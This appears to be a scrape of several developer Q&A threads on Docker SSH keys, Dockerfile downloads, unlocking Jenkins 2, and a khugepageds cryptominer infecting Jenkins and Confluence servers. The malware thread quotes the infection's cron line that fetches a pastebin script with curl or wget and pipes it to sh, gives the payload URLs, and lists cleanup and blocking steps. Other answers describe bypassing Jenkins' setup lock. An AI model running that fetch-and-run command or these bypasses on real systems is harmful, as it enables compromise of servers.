I have asked the same question on github but no response. So, I think here may be a better place to ask this kind of coding questions because this is the problem when I tried to do some coding work.
I would like to set up airflow with docker on MacBook Pro with macOS 10.14.x.
I have got zpencerq/docker-airflow:1.10.2 and followed the instructions at https://docs.docker.com/compose/install/#install-compose
Also, I have set up the ssh agent forward with the instructions at https://github.com/uber-common/docker-ssh-agent-forward
When I run:
docker-compose up -d
I got:
Collecting my-data-store from git+ssh://git#github.com/my-data-store.git#v.xx.xx.x#egg=my-data-store
Cloning ssh://git#github.com/my-data-store.git to /my/local/path
Permission denied (publickey).
fatal: Could not read from remote repository.
I have created ssh public key and added the ssh public key in my git profile. I have also added my private key.
I have tried some answers for this kind of question, but none of them work.
If I run the following command in Mac terminal, it works well.
git clone -q ssh://git#github.com/my_path/my-data-store.git /tmp/my_folder
Why docker-compose cannot do the same thing to access github ?
Do I miss something ?
Sounds like you haven't added your keys. Try this from inside your OSX terminal...
ssh-add
Then try again.
Why docker-compose cannot do the same thing to access github ?
Because it (docker) will look for your keys in $HOME/.ssh/id_rsa(.pub).
When you execute git clone -q ssh://git#github.com/... from your Mac, $HOME is your regular home directory.
But from a container, it is /root by default, or the one of the user.
You should mount those keys in your docker-compose.yml (or use secrets).
You can add to a container environment
-e GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o User=<github user> -i <private key>"
When is full key text making by ssh-keygen
So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.
First off, I really lack a lot of knowledge regarding Docker itself and its structure. I know that it'd be way more beneficial to learn the basics first, but I do require this to work in order to move on to other things for now.
So within a Dockerfile I installed wget & used it to download a file from a website, authentification & download are successful. However, when I later try move said file it can't be found, and it doesn't show up using e.g explorer either (path was specified)
I thought it might have something to do with RUN & how it executes the wget command; I read that the Id can be used to copy it to harddrive, but how'd I do that within a Dockerfile?
RUN wget -P ./path/to/somewhere http://something.com/file.txt --username xyz --password bluh
ADD ./path/to/somewhere/file.txt /mainDirectory
Download is shown & log-in is successful, but as I mentioned I am having trouble using that file later on as it's not to be located on the harddrive. Probably a basic error, but I'd really appreciate some input that might lead to a solution.
Obviously the error is produced when trying to execute ADD as there is no file to move. I am trying to find a way to mount a volume in order to store it, but so far in vain.
Edit:
Though the question is similiar to the "move to harddrive" one, I am searching for ways to get the id of the container created within the Dockerfile in order to move it; while the thread provides such answers, I haven't had any luck using them within the Dockerfile itself.
Short answer is that it's not possible.
The Dockerfile builds an image, which you can run as a short-lived container. During the build, you don't have (write) access to the host and its file system. Which kinda makes sense, since you want to build an immutable image from which to run ephemeral containers.
What you can do is run a container, and mount a path from your host as a volume into the container. This is the only way how you can share files between the host and a container.
Here is an example how you could do this with the sherylynn/wget image:
docker run -v /path/on/host:/path/in/container sherylynn/wget wget -O /path/in/container/file http://my.url.com
The -v HOST:CONTAINER parameter allows you to specify a path on the host that is mounted inside the container at a specified location.
For wget, I would prefer -O over -P when downloading a single file, since it makes it really explicit where your download ends up. When you point -O to the location of the volume, the downloaded file ends up on the host system (in the folder you mounted).
Since I have no idea what your image or your environment looks like, you might need to tweak one or two things to work well with your own image. As a general recommendation: For basic commands like wget or curl, you can find pre-made images on Docker Hub. This can be quite useful when you need to set up a Continuous Integration pipeline or so, where you want to use wget or curl but can't execute it directly.
Use wget -O instead of -P for specific file download
for e.g.,
RUN wget -O /tmp/new_file.txt http://something.com --username xyz --password bluh/new_file.txt
Thanks
I am installing Jenkins 2 on windows,after installing,a page is opened,URL is:
http://localhost:8080/login?from=%2F
content of the page is like this:
Question:
How to "Unlock Jenkins"?
PS:I have looked for the answer in documentation and google.
Starting from version 2.0 of Jenkins you may use
-Djenkins.install.runSetupWizard=false
to prevent this screen.
Accroding to documentation
jenkins.install.runSetupWizard - Set to false to skip install wizard. Note that this leaves Jenkins unsecured by default.
Development-mode only: Set to true to not skip showing the setup wizard during Jenkins development.
More details about Jenkins properties can be found on this Jenkins Wiki page.
Check https://wiki.jenkins-ci.org/display/JENKINS/Logging to see where Jenkins is logging its files.
e.g. for Linux, use the command: less /var/log/jenkins/jenkins.log
And scroll down to the part: "Jenkins initial setup is required. An admin user has been created ... to proceed to installation:
[randompasswordhere] <--- Copy and paste
Linux
By default logs should be made available in /var/log/jenkins/jenkins.log, unless customized in /etc/default/jenkins (for *.deb) or via /etc/sysconfig/jenkins (for */rpm)
Windows
By default logs should be at %JENKINS_HOME%/jenkins.out and %JENKINS_HOME%/jenkins.err, unless customized in %JENKINS_HOME%/jenkins.xml
Mac OS X
Log files should be at /var/log/jenkins/jenkins.log, unless customized in org.jenkins-ci.plist
open file: e:\Program Files (x86)\Jenkins\secrets\initialAdminPassword
copy content file: 47c5d4f760014e54a6bffc27bd95c077
paste in input: http://localhost:8080/login?from=%2F
DONE
Some of the above instructions seem to have gone out of date. As of the released version 2.0, creating the following file will cause Jenkins to skip the unlock screen:
${JENKINS_HOME}/jenkins.install.InstallUtil.lastExecVersion
This file must contain the string 2.0 without any line terminators. I'm not sure if this is required but Jenkins also sets the owner/group to be the same as the Jenkins server, so that's probably a good thing to mimic as well.
I did not need to create the upgraded or .last_exec_version files.
I assume you were running jenkins.war manually with java -jar jenkins.war, then all logging information by default is output to standard out, just type the token to unlock jenkins2.0.
If you were not running jenkins with java -jar jenkins.war, then you can always follow this Official Document to find the correct log location.
Open your terminal and type code below to find all the containers.
docker container list -a
You will find jenkinsci/blueocean and/or docker:dind if not than
docker container run --name jenkins-docker --rm --detach ^
--privileged --network jenkins --network-alias docker ^
--env DOCKER_TLS_CERTDIR=/certs ^
--volume jenkins-docker-certs:/certs/client ^
--volume jenkins-data:/var/jenkins_home ^
--volume "%HOMEDRIVE%%HOMEPATH%":/home ^
docker:dind
and
docker container run --name jenkins-blueocean --rm --detach ^
--network jenkins --env DOCKER_HOST=tcp://docker:2376 ^
--env DOCKER_CERT_PATH=/certs/client --env DOCKER_TLS_VERIFY=1 ^
--volume jenkins-data:/var/jenkins_home ^
--volume jenkins-docker-certs:/certs/client:ro ^
--volume "%HOMEDRIVE%%HOMEPATH%":/home ^
--publish 8080:8080 --publish 50000:50000 jenkinsci/blueocean
run command
docker run jenkinsci/blueocean
or
docker run docker:dind
Copy and Paste the secret key.
One method to prevent the installation wizard is to do the following in $JENKINS_HOME:
Create an empty file named .last_exec_version
Create a file named upgraded
If left empty, a banner will prompt you to "upgrade" to 2.0 (which just means install a bunch of new plugins like Pipeline)
If the contents of that file is 2.0, you'll receive no banner and it will act like an regular old Jenkins install
Remember, this wizard is in place to prevent unauthorized access to Jenkins during setup. However, bypassing this wizard can be useful if, for example, you want to deploy automated installations of Jenkins with something like Ansible/Puppet/etc.
This was tested against Jenkins 2.0-beta-1 – so these instructions may not work in future beta or stable releases.
In the mac use:
sudo more /Users/Shared/Jenkins/Home/secrets/initialAdminPassword
I have seen a lot of response to the question, most of them were actually solution to it but they solve the problem when jenkins is actually run as a standalone CI without Application container using the command:
java -jar jenkins.war
But when running on Tomcat as it is the case in this scenario, Jenkins logs are displayed on the catalina logs since the software is running on a container.
So you need to go to the logs folder:
C:\Program Files\tomcat_folder\Tomcat 8.5\logs\catalina.log
in my own case. Just scroll almost to the middle to look for a generated password which is essentially a token and copy and paste it to unlock jenkins.
I hope this fix your problem.
Step 1: Open the terminal on your mac
Step 2: Concatenate or Paste
sudo cat **/Users/Shared/Jenkins/Home/secrets/initialAdminPassword**
Step 3: It will ask for password, type your mac password and enter
Step 4: A key would be generated.
Step 5: Copy and paste the security token in Jenkins
Step 6: Click continue
I found the token in the following file in the installation dir:
<jenkins install dir>\users\admin\config.xml
and the element
<jenkins.install.SetupWizard_-AuthenticationKey>
<key> THE KEY </key>
</jenkins.install.SetupWizard_-AuthenticationKey>
You might see it in the catalina.out. I installed Jenkins war in tomcat and I can see this in the catalina.out
The below method does not work anymore on 2.42.2
Create an empty file named .last_exec_version
Create a file named upgraded
If left empty, a banner will prompt you to "upgrade" to 2.0 (which just means install a bunch of new plugins like Pipeline)
If the contents of that file is 2.0, you'll receive no banner and it will act like an regular old Jenkins install
mostly jenkins will show you the path for initialAdminPassword if you dont find it there, then you have to check jenkins logs
in log you will see
05-May-2017 01:01:41.854 INFO [Jenkins initialization thread] jenkins.install.SetupWizard.init
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
7c249e4ed93c4596972f57e55f7ff32e
This may also be found at: /opt/tomcat/.jenkins/secrets/initialAdminPassword
Use a lil shortcut to get to the folder:
cmd + shift + g
then insert /Users/Shared/Jenkins
there u can see the secrets folder - probably shows that it's locked.
to unlock it: right click on the folder and click info + click on the lock at the bottom. now u can change the rights shown at the bottom of the window
hope that helped :)
Greetings, Stefanie ^__^
If unable to find Jenkins password in the location C:\Windows\System32\config\systemprofile\.jenkins\secrets\initialAdminPassword
by installing Jenkins generic war on Tomcat server, try below
Solution:
Set environmental variable JENKINS_HOME to your jenkins path say
JENKINS_HOME ="C:/users/username/apachetomcat/webapps/jenkins"
Place Jenkins.war in the webapp folder of Tomcat and start Tomcat,
initial admin password gets generated in the path
C:\Program Files (x86)\Apache Software Foundation\Tomcat 9.0\webapps\jenkins\secrets\initialAdminPassword
Yet another way to bypass the unlock screen is to copy the UpgradeWizard state to the InstallUtil last execution version, add an install.runSetupWizard file with the contents 'false', and update the config.xml installStateName from NEW to RUNNING.
docker exec -it jenkins bash
sed -i s/NEW/RUNNING/ /var/jenkins_home/config.xml
echo 'false' > /var/jenkins_home/jenkins.install.runSetupWizard
cp /var/jenkins_home/jenkins.install.UpgradeWizard.state /var/jenkins_home/jenkins.install.InstallUtil.lastExecVersion
exit
docker restart jenkins
For reference, this is the command I use to run jenkins:
docker run --rm --name jenkins --network host -u root -d -v jenkins:/var/jenkins_home -v /var/run/docker.sock:/var/run/docker.sock jenkinsci/blueocean:1.16.0
You will also want to update the config with the Root URL:
echo "<?xml version='1.1' encoding='UTF-8'?><jenkins.model.JenkinsLocationConfiguration><jenkinsUrl>http://<IP>:8080/</jenkinsUrl></jenkins.model.JenkinsLocationConfiguration>" > jenkins.model.JenkinsLocationConfiguration.xml
exit
docker restart jenkins
In case, if you installed/upgraded new versions of jenkins and unable to find admin credentials on server then, ...
if you are using old version of jenkins and on the top of it you are trying to reinstall/upgrade new version of jenkins then,
the files under "JENKINS_HOME", namely -
${JENKINS_HOME}/jenkins.install.InstallUtil.lastExecVersion
${JENKINS_HOME}/jenkins.install.UpgradeWizard.state
will cause jenkins to skip the unlock (or admin credentials screen) and webpage directly ask you for username and password. even on server you will not able to find "${JENKINS_HOME}/secrets/initialAdminPassword".
In such case, don't get panic. just try to use old admin user creds in newly installed/upgraded jenkins server.
In simple language, if you have admin creds as admin/admin in old version of jenkins server then, after upgrading jenkins server, the new server won't ask you set password for admin user again. in fact it will use old creds only.
I have found the password in C:\Program Files\Jenkins\jenkins.err. Open jenkins.err text file and scroll down, and you will find the password.
Go to C:\Program Files (x86)\Jenkins\secrets
then with notepad ++ open file initail Admin Password and paste its content.
thats it
-->if you are using linux machine, then login as root user: sudo su
-->then go to the below path: cd /var/lib/jenkins/secrets
-->just view the IntialAdminPassword file ,you can see the secret key.
-->paste the secret key into jenkins window,it will be unlocked.
https://issues.jenkins-ci.org/browse/JENKINS-35981
Try this %2Fjenkins%2F instead of %2Fjenkins in the browser
Open the terminal on your mac and open new window (command+T)
Paste sudo cat /Users/Shared/Jenkins/Home/secrets/initialAdminPassword
It will ask for password, type your password(i gave my mac password, i haven't check if any other password would work) and enter
A key would be generated.
Copy the key and paste it where it asks you to enter admin password
click continue
The problem can be fixed in latest version: mine is 2.4. The error comes because of %2fjenkins%2f in URL. The previous version was coming with %2fjenkins and the same error used to come. They have resolved the issue, but the URL has been changed from %2fjenkins to %2fjenkins%. So as a summary in the URL currently %2fjenkins% is coming. before passing the admin password change it to %2fjenkins. Along with that add a .last_exec_version empty file.
If someone chooses running Jenkins as a Docker container, may face the same problem with me.
Because accessing-the-jenkins-blue-ocean-docker-container is quite different,
Common problem is /var/lib/jenkins/secrets: No such file or directory
You need to access through Docker, the link Jenkins provide is quite helpful.
Except <docker-container-name> maybe not specified, then you may need to use the container ID.
After
docker exec -it jenkins-blueocean bash
or
docker exec -it YOUR_JENKINS_CONTAINER_ID bash
The /var/lib/jenkins/secrets/initialAdminPassword would be accessible.
The password would be there.
I have setup Jenkins using Brew, But when I restarted Mac Jenkins was asking for initialAdminPassword(The screenshot attached in question)
And the problem was it was not generated under sercret directory.
So I'd found the Jenkins process which was running on port: 8080 using: $ sudo lsof -i -n -P | grep TCP and killed it using $ sudo kill 66(66 was process id).
Then I downloaded the latest jenkins .war file from: https://jenkins.io/download/
And executed command: $ java -jar jenkins.war (Make sure you are in jenkins.war directory).
And that's it everything is working fine.
This works well when you are stuck with Docker on Windows and are using Git-Bash
Presuming something like:
# docker run --detach --publish 8080:8080 --volume jenkins_home:/var/jenkins_home --name jenkins jenkins/jenkins:lts
Execute to get the Container ID, for example "d56686cb700d"
# docker ps -l
Now tell Docker to return the password written in the logs for that Container ID:
# docker logs d56686cb700d 2>&1 | grep -A5 -B5 Admin
2>&1 redirects stderr to stdout
-A5 includes 5 lines AFTER the line with "Admin" in it
-B5 includes 5 lines BEFORE the line with "Admin" in it
Output example:
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
47647383733f4387a0d53c873334b707
This may also be found at: /var/jenkins_home/secrets/initialAdminPassword
*************************************************************
*************************************************************
*************************************************************
I found it under below directory. Full issue detail https://github.com/jenkinsci/ibm-security-appscansource-scanner-plugin/issues/2
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jenkins\.jenkins
Open jenkins.err file in C:\Program Files\Jenkins\.
In that file check for a hash key after this line
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
And paste it there in the jenkins prompt. Worked for me.
To solve this problem for docker container in Ubuntu 18.04.5 LTS (Bionic Beaver) - Ubuntu Releases
1- connect to your docker server or ubuntu server witch ssh or other method
2- run sudo docker ps
3- copy the container name parameter ("NAMES")
4- run sudo docker logs "your_parameters_NAMES_VALUES"
5- Find the folowing sentence "Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:" and copy the password